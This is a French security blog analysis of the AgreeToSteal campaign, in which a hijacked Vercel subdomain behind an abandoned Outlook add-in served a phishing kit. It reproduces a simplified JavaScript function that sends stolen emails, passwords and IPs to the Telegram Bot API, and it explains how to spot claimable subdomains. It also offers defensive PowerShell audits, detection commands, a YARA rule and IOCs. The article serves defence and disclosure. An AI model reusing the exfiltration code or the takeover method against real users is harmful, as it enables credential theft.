Le 12 février 2026, les chercheurs de Koi Security ont révélé une attaque inédite dans l'écosystème Microsoft : le premier add-in Outlook malveillant jamais détecté sur le Microsoft Office Store. Baptisée AgreeToSteal, cette campagne a exploité un add-in de calendrier abandonné pour déployer une page de phishing directement dans l'interface Outlook des victimes. Résultat : plus de 4 000 credentials Microsoft dérobés, accompagnés de numéros de cartes bancaires, de CVV et de réponses à des questions de sécurité bancaires.
L'attaque est remarquable par sa sophistication conceptuelle. Elle ne repose pas sur un malware classique, ni sur un email de phishing traditionnel. Elle exploite un angle mort fondamental dans le processus de validation des add-ins Microsoft : une fois le manifeste signé et approuvé, personne ne contrôle ce que l'URL référencée sert réellement aux utilisateurs. Un vecteur ClawHub supply chain redoutable, silencieux et particulièrement difficile à détecter.
AgreeTo : de l'add-in légitime à l'arme de vol de credentials
Pour comprendre l'attaque, il faut d'abord comprendre ce qu'était AgreeTo à l'origine. Il s'agissait d'un outil de productivité légitime, publié sur le Microsoft Office Store en décembre 2022. Sa fonction : connecter différents calendriers en un seul endroit et partager ses disponibilités par email directement depuis Outlook. Un use case classique, utile, qui a attiré une base d'utilisateurs réelle.
L'add-in fonctionnait via une architecture standard pour les extensions Office : un manifeste XML soumis à Microsoft, qui définit les permissions requises et pointe vers une URL hébergée par le développeur. Dans le cas d'AgreeTo, cette URL était un sous-domaine Vercel : outlook-one.vercel[.]app.
Le problème a commencé lorsque le développeur a abandonné le projet courant 2023. La dernière mise à jour de l'extension Chrome associée date de mai 2023. En juillet 2024, des utilisateurs ont commencé à signaler que le domaine principal agreeto.app avait expiré. Mais l'add-in Outlook, lui, est resté listé sur le Microsoft Store avec son manifeste toujours signé et valide.
Le manifeste XML : la clé de l'attaque
Les add-ins Office fonctionnent comme des manifestes XML qui indiquent à Outlook de charger une URL spécifique dans un iframe. Microsoft examine et signe le manifeste lors de la soumission initiale, mais ne contrôle jamais ce que l'URL référencée sert par la suite. C'est exactement cet angle mort qui a été exploité.
Voici la structure simplifiée d'un manifeste d'add-in Outlook :
<!-- Structure simplifiée d'un manifeste d'add-in Office -->
<OfficeApp>
<Id>WA200004949</Id>
<Version>1.0.0</Version>
<DisplayName DefaultValue="AgreeTo" />
<Description DefaultValue="Connect calendars and share availability" />
<!-- Permissions accordées par Microsoft lors de la validation -->
<Permissions>ReadWriteItem</Permissions>
<!-- URL chargée dans l'iframe Outlook -->
<SourceLocation DefaultValue="https://outlook-one.vercel.app/" />
</OfficeApp>Le manifeste déclare la permission ReadWriteItem, qui autorise l'add-in à lire et modifier les emails de l'utilisateur. Cette permission était légitime pour un outil de planification de réunions. Mais entre les mains d'un attaquant, elle ouvre des possibilités bien plus dangereuses que le simple phishing.
Subdomain takeover sur Vercel : le vecteur d'attaque
La technique utilisée est un subdomain takeover, une attaque supply chain de plus en plus fréquente. Lorsque le développeur d'AgreeTo a supprimé son projet Vercel, le sous-domaine outlook-one.vercel[.]app est redevenu disponible. N'importe qui pouvait le réclamer.
Un attaquant l'a fait. En déployant un nouveau projet sur Vercel avec ce même sous-domaine, il a instantanément pris le contrôle de ce que chaque utilisateur existant de l'add-in AgreeTo voyait dans son panneau latéral Outlook. Sans aucune modification du manifeste signé, sans aucune interaction avec Microsoft, sans aucune alerte de sécurité.
C'est la beauté terrifiante de cette attaque : le manifeste Microsoft reste valide et signé, car il n'a pas changé. Seul le contenu servi par l'URL a été modifié, et Microsoft ne vérifie pas ce contenu après la validation initiale.
# Principe du subdomain takeover sur Vercel
# 1. Le développeur original crée le projet
# outlook-one.vercel.app -> Application AgreeTo légitime
# 2. Le développeur abandonne et supprime le projet
# outlook-one.vercel.app -> 404 (sous-domaine disponible)
# 3. L'attaquant déploie un nouveau projet avec le même nom
# outlook-one.vercel.app -> Kit de phishing
# 4. Le manifeste signé par Microsoft pointe toujours vers
# outlook-one.vercel.app, qui sert maintenant le phishing
# Vérifier si un sous-domaine Vercel est réclamable
curl -I https://outlook-one.vercel.app
# Si HTTP 404 avec headers Vercel -> potentiellement réclamableCe vecteur d'attaque n'est pas nouveau en soi. Les subdomain takeovers sur des plateformes comme Vercel, Netlify, Heroku ou Azure sont documentés depuis des années. Mais c'est la première fois qu'il est exploité dans le contexte d'un add-in Microsoft Office, ce qui lui donne un impact considérablement plus élevé : l'attaque s'exécute directement dans l'interface de confiance d'Outlook.
Le kit de phishing : anatomie d'une attaque en quatre étapes
L'attaquant a déployé un kit de phishing en quatre pages, conçu pour être aussi crédible que possible dans le contexte d'un panneau latéral Outlook :
Étape 1 : fausse page de connexion Microsoft
Lorsque l'utilisateur ouvre l'add-in dans Outlook, il voit une page de connexion Microsoft parfaitement imitée dans le panneau latéral. Le contexte rend cette page extrêmement crédible : l'utilisateur est déjà dans Outlook, une application Microsoft, et il est courant qu'un add-in demande une authentification supplémentaire.
Étape 2 : collecte du mot de passe
Après avoir entré son adresse email, l'utilisateur est redirigé vers une seconde page qui collecte son mot de passe. Le design reproduit fidèlement l'interface Microsoft, avec les mêmes polices, couleurs et mise en page.
Étape 3 : exfiltration via Telegram Bot API
Une fois les credentials saisis, une fonction JavaScript transmet silencieusement les données vers l'attaquant via l'API Telegram Bot. Cette méthode d'exfiltration est particulièrement astucieuse : Telegram est un service légitime, rarement bloqué par les pare-feu d'entreprise, et les appels API vers api.telegram.org se fondent dans le trafic réseau normal.
// Principe simplifié de l'exfiltration (reconstitué)
// L'attaquant utilise un simple fetch() vers l'API Telegram
async function exfiltrate(email, password) {
const botToken = 'BOT_TOKEN_ATTAQUANT';
const chatId = 'CHAT_ID_ATTAQUANT';
// Collecte de l'IP de la victime
const ipData = await fetch('https://api.ipify.org?format=json')
.then(r => r.json());
// Envoi vers Telegram
const message = `Email: ${email}\nPass: ${password}\nIP: ${ipData.ip}`;
await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
chat_id: chatId,
text: message
})
});
}Étape 4 : redirection transparente
Après l'exfiltration, un spinner de chargement s'affiche brièvement, puis l'utilisateur est redirigé vers la véritable page de connexion Microsoft (login.microsoftonline.com). La victime pense simplement qu'elle doit s'authentifier une seconde fois, un comportement courant avec les services Microsoft. Elle ne se doute de rien.
L'ampleur des dégâts : 4 000+ credentials et données bancaires
Les chercheurs de Koi Security ont réussi à accéder au canal Telegram utilisé pour l'exfiltration. Le bilan est lourd : plus de 4 000 credentials Microsoft volés, avec de nouvelles victimes compromises chaque heure au moment de la découverte.
Mais les dégâts ne s'arrêtent pas aux mots de passe. L'attaquant opérait au moins 12 kits de phishing distincts ciblant différentes marques, et les données récupérées incluaient :
- Identifiants Microsoft : email + mot de passe de plus de 4 000 comptes
- Numéros de cartes bancaires : avec CVV et dates d'expiration
- Réponses à des questions de sécurité bancaires : NIP, noms de jeune fille, etc.
- Données d'interception de paiements : informations permettant l'interception de virements Interac
- Adresses IP des victimes : permettant la géolocalisation
La permission ReadWriteItem accordée à l'add-in ouvre un scénario encore plus inquiétant. L'attaquant a choisi de déployer un simple kit de phishing, mais il aurait pu exploiter cette permission pour lire silencieusement le contenu des emails de chaque victime, modifier des messages en transit, ou exfiltrer des pièces jointes sensibles, le tout sans que la victime ne voie jamais de page de phishing.
Pourquoi cette attaque est passée sous les radars
AgreeToSteal illustre un scénario cauchemardesque pour les équipes de sécurité, car aucune couche de défense classique ne pouvait la détecter :
- Passerelles email (SEG) : le phishing ne transitait pas par email, il s'affichait directement dans l'interface Outlook via l'iframe de l'add-in
- Protection endpoint (EDR) : le code malveillant s'exécutait en JavaScript dans un processus Outlook légitime, pas via un exécutable suspect
- Filtrage d'URL : le domaine
vercel.appest un domaine de confiance massivement utilisé par des développeurs légitimes, rarement bloqué - Microsoft Store : l'add-in était toujours listé comme légitime avec un manifeste signé valide
- Utilisateurs : la page de phishing apparaissait dans un contexte de confiance (panneau latéral Outlook), rendant les signaux d'alerte classiques invisibles
C'est la combinaison de ces facteurs qui rend les attaques supply chain si dangereuses. On retrouve le même pattern que dans l'affaire ClawHub et les skills malveillants : un composant de confiance est compromis, et toute la chaîne de sécurité en aval s'effondre.
Détecter et supprimer les add-ins compromis
Si vous administrez un environnement Microsoft 365, voici les commandes pour auditer et supprimer les add-ins Outlook suspects :
Audit via PowerShell (administrateurs Microsoft 365)
# Connexion au module Exchange Online
Connect-ExchangeOnline -UserPrincipalName admin@votredomaine.com
# Lister tous les add-ins installés pour un utilisateur
Get-App -Mailbox utilisateur@votredomaine.com | Format-Table DisplayName, AppId, Enabled
# Rechercher spécifiquement l'add-in AgreeTo (ID : WA200004949)
Get-App -Mailbox utilisateur@votredomaine.com | Where-Object {
$_.DisplayName -like "*AgreeTo*" -or $_.AppId -eq "WA200004949"
}
# Supprimer l'add-in compromis pour un utilisateur
Remove-App -Mailbox utilisateur@votredomaine.com -Identity "WA200004949" -Confirm:$false
# Supprimer l'add-in pour TOUS les utilisateurs de l'organisation
Get-Mailbox -ResultSize Unlimited | ForEach-Object {
$apps = Get-App -Mailbox $_.UserPrincipalName -ErrorAction SilentlyContinue
$malicious = $apps | Where-Object { $_.AppId -eq "WA200004949" }
if ($malicious) {
Remove-App -Mailbox $_.UserPrincipalName -Identity $malicious.Identity -Confirm:$false
Write-Host "Supprime pour : $($_.UserPrincipalName)"
}
}Audit réseau : détecter l'exfiltration Telegram
# Rechercher des connexions vers l'API Telegram dans les logs proxy
grep -rE "api\.telegram\.org/bot" /var/log/proxy/ /var/log/squid/
# Vérifier les résolutions DNS vers Telegram
grep -rE "telegram\.org" /var/log/dns/query.log
# Sur un pare-feu pfSense/OPNsense, bloquer l'exfiltration Telegram
# Créer une règle bloquant api.telegram.org en sortie
# ou filtrer le pattern /bot[0-9]+:/ dans les URL
# Analyse Wireshark/tcpdump pour détecter les appels API Telegram
tcpdump -i eth0 -A host api.telegram.org 2>/dev/null | \
grep -E "sendMessage|bot[0-9]+"Vérification côté utilisateur
# Dans Outlook Desktop :
# Fichier > Gérer les compléments > Mes compléments
# Rechercher "AgreeTo" et le supprimer
# Dans Outlook Web (OWA) :
# Paramètres (engrenage) > Afficher tous les paramètres
# > Courrier > Personnaliser les actions > Compléments
# Supprimer tout add-in inconnu ou non utilisé
# Vérifier les connexions récentes au compte Microsoft
# https://account.microsoft.com/security
# > Activité de connexion récente
# Rechercher des connexions depuis des localisations inconnuesSe protéger : durcir la gestion des add-ins
Au-delà de la suppression d'AgreeTo, cette attaque impose une révision de la politique de gestion des add-ins dans toute organisation utilisant Microsoft 365.
1. Restreindre l'installation d'add-ins
# Désactiver l'installation d'add-ins par les utilisateurs
# dans le Centre d'administration Microsoft 365
# Paramètres > Services > Applications intégrées
# Via PowerShell : politique de gestion des add-ins
Set-OrganizationConfig -AppsForOfficeEnabled $false
# Alternative : autoriser uniquement les add-ins approuvés par l'admin
# Centre d'administration Exchange > Organisation > Compléments
# Définir "Spécifié par l'utilisateur" sur "Désactivé"2. Auditer régulièrement les add-ins déployés
# Script d'audit hebdomadaire des add-ins
$allMailboxes = Get-Mailbox -ResultSize Unlimited
$report = @()
foreach ($mbx in $allMailboxes) {
$apps = Get-App -Mailbox $mbx.UserPrincipalName -ErrorAction SilentlyContinue
foreach ($app in $apps) {
$report += [PSCustomObject]@{
User = $mbx.UserPrincipalName
AddIn = $app.DisplayName
AppId = $app.AppId
Enabled = $app.Enabled
Version = $app.AppVersion
}
}
}
# Exporter le rapport
$report | Export-Csv -Path "C:\audit\outlook-addins-$(Get-Date -Format yyyyMMdd).csv" -NoTypeInformation
# Rechercher les add-ins avec des URLs suspectes
$report | Where-Object { $_.AddIn -notmatch "Microsoft|Office" } |
Sort-Object AddIn | Format-Table -AutoSize3. Surveiller le trafic réseau sortant
Les solutions de filtrage réseau doivent être configurées pour détecter les exfiltrations via des services de messagerie légitimes comme Telegram, Discord ou Slack. Ces canaux sont de plus en plus utilisés comme infrastructure C2 par les attaquants. Pour configurer un pare-feu réseau robuste sur vos serveurs, consultez les tutoriels UFW et Fail2ban qui couvrent les bases du filtrage réseau.
Le problème structurel : Microsoft et la validation des add-ins
AgreeToSteal met en lumière un défaut de conception fondamental dans le processus de validation des add-ins Office. Microsoft examine le manifeste lors de la soumission initiale, mais ne surveille jamais ce que l'URL référencée sert aux utilisateurs par la suite. C'est comme si un douanier inspectait un colis une seule fois, puis autorisait indéfiniment le même expéditeur à envoyer n'importe quoi.
Les lacunes identifiées sont multiples :
- Pas de contrôle continu du contenu : une fois le manifeste signé, le contenu servi par l'URL n'est plus jamais vérifié
- Pas de détection d'abandon : Microsoft ne surveille pas les add-ins dont les domaines expirent ou deviennent indisponibles
- Pas de Content Security Policy : les add-ins peuvent charger du JavaScript arbitraire et effectuer des requêtes vers n'importe quel domaine externe
- Pas d'alerte utilisateur : rien n'indique à l'utilisateur que l'add-in n'a pas été mis à jour depuis des années ou que son développeur l'a abandonné
Microsoft a retiré l'add-in du Store le 12 février 2026 suite au signalement de Koi Security, mais n'a pas communiqué sur des mesures structurelles pour empêcher ce type d'attaque à l'avenir. Ce type de faille structurelle rappelle les enjeux de sécurité que l'on retrouve dans d'autres écosystèmes d'extensions, comme la sécurité des agents IA où la confiance accordée aux composants tiers peut se retourner contre les utilisateurs.
Leçons supply chain : au-delà d'Outlook
Cette attaque s'inscrit dans une tendance plus large d'exploitation de la supply chain logicielle. Le pattern est toujours le même : un composant légitime est abandonné par son développeur, et un attaquant en prend le contrôle pour cibler la base d'utilisateurs existante.
Les vecteurs de subdomain takeover ne se limitent pas à Vercel. Voici les plateformes les plus fréquemment concernées :
# Plateformes vulnérables au subdomain takeover
# après suppression de projet :
#
# Vercel : *.vercel.app
# Netlify : *.netlify.app
# Heroku : *.herokuapp.com (service arrêté)
# GitHub Pages: *.github.io (CNAME dangling)
# Azure : *.azurewebsites.net
# AWS S3 : *.s3.amazonaws.com (bucket supprimé)
# Outil de détection : subjack, can-i-take-over-xyz
# Vérifier vos propres enregistrements DNS
dig +short CNAME votre-sous-domaine.votredomaine.com
# Si le CNAME pointe vers un service supprimé -> vulnérable
# Scanner vos DNS pour détecter les CNAME orphelins
# Exporter tous les enregistrements DNS
dig axfr votredomaine.com @ns1.votredns.com | grep CNAMEPour les organisations, la leçon est claire : la sécurité ne s'arrête pas à la validation initiale d'un composant. Les add-ins, extensions, plugins et bibliothèques doivent être surveillés en continu, et ceux qui ne sont plus maintenus doivent être retirés proactivement. Une politique de sécurité serveur robuste, comme détaillée dans la checklist sécurité serveur Linux, doit inclure l'audit régulier de tous les composants tiers.
Indicateurs de compromission (IOC)
Pour les équipes SOC et les analystes sécurité, voici les IOC associés à la campagne AgreeToSteal :
# IOC - Campagne AgreeToSteal
# =============================
# Add-in compromis
# Nom : AgreeTo
# ID Microsoft Store : WA200004949
# Dernière mise à jour légitime : décembre 2022
# Infrastructure de phishing
# Domaine : outlook-one.vercel[.]app (ACTIF au moment de la découverte)
# Hébergement : Vercel
# Domaine abandonné : agreeto[.]app (expiré)
# Exfiltration
# Canal : API Telegram Bot
# Endpoint : api.telegram.org/bot[TOKEN]/sendMessage
# Données collectées
# - Credentials Microsoft (email + mot de passe)
# - Adresses IP des victimes
# - Numéros de cartes bancaires + CVV
# - Réponses aux questions de sécurité bancaires
# Règle YARA simplifiée pour détecter le pattern
# rule AgreeToSteal_Phishing {
# strings:
# $telegram = "api.telegram.org/bot"
# $ms_login = "login.microsoftonline.com"
# $agreeto = "WA200004949"
# condition:
# any of them
# }Conclusion
AgreeToSteal marque un tournant dans la sécurité de l'écosystème Microsoft Office. Pour la première fois, un add-in Outlook du Microsoft Store officiel a été détourné pour voler massivement des credentials. L'attaque exploite un angle mort structurel : Microsoft valide les manifestes une seule fois, mais le contenu dynamique servi par les URLs des add-ins n'est jamais revérifié.
Les actions à retenir pour les administrateurs et les utilisateurs :
- Supprimer immédiatement tout add-in AgreeTo (ID WA200004949) et changer les mots de passe associés
- Restreindre l'installation d'add-ins aux seuls composants approuvés par l'administration IT
- Auditer régulièrement les add-ins déployés dans l'organisation via PowerShell
- Surveiller le trafic réseau vers les API de messagerie (Telegram, Discord) utilisées comme canaux d'exfiltration
- Retirer proactivement les add-ins dont les développeurs ont abandonné la maintenance
Plus largement, cette affaire rappelle que la confiance dans un écosystème d'extensions repose sur une surveillance continue, pas sur une validation ponctuelle. Les attaques supply chain ciblent précisément les maillons abandonnés de la chaîne, ceux que tout le monde a oubliés mais qui conservent un accès privilégié aux données des utilisateurs. La prochaine victime ne sera peut-être pas un add-in Outlook, mais un plugin Slack, une extension VS Code ou un module npm que plus personne ne maintient.
Commentaires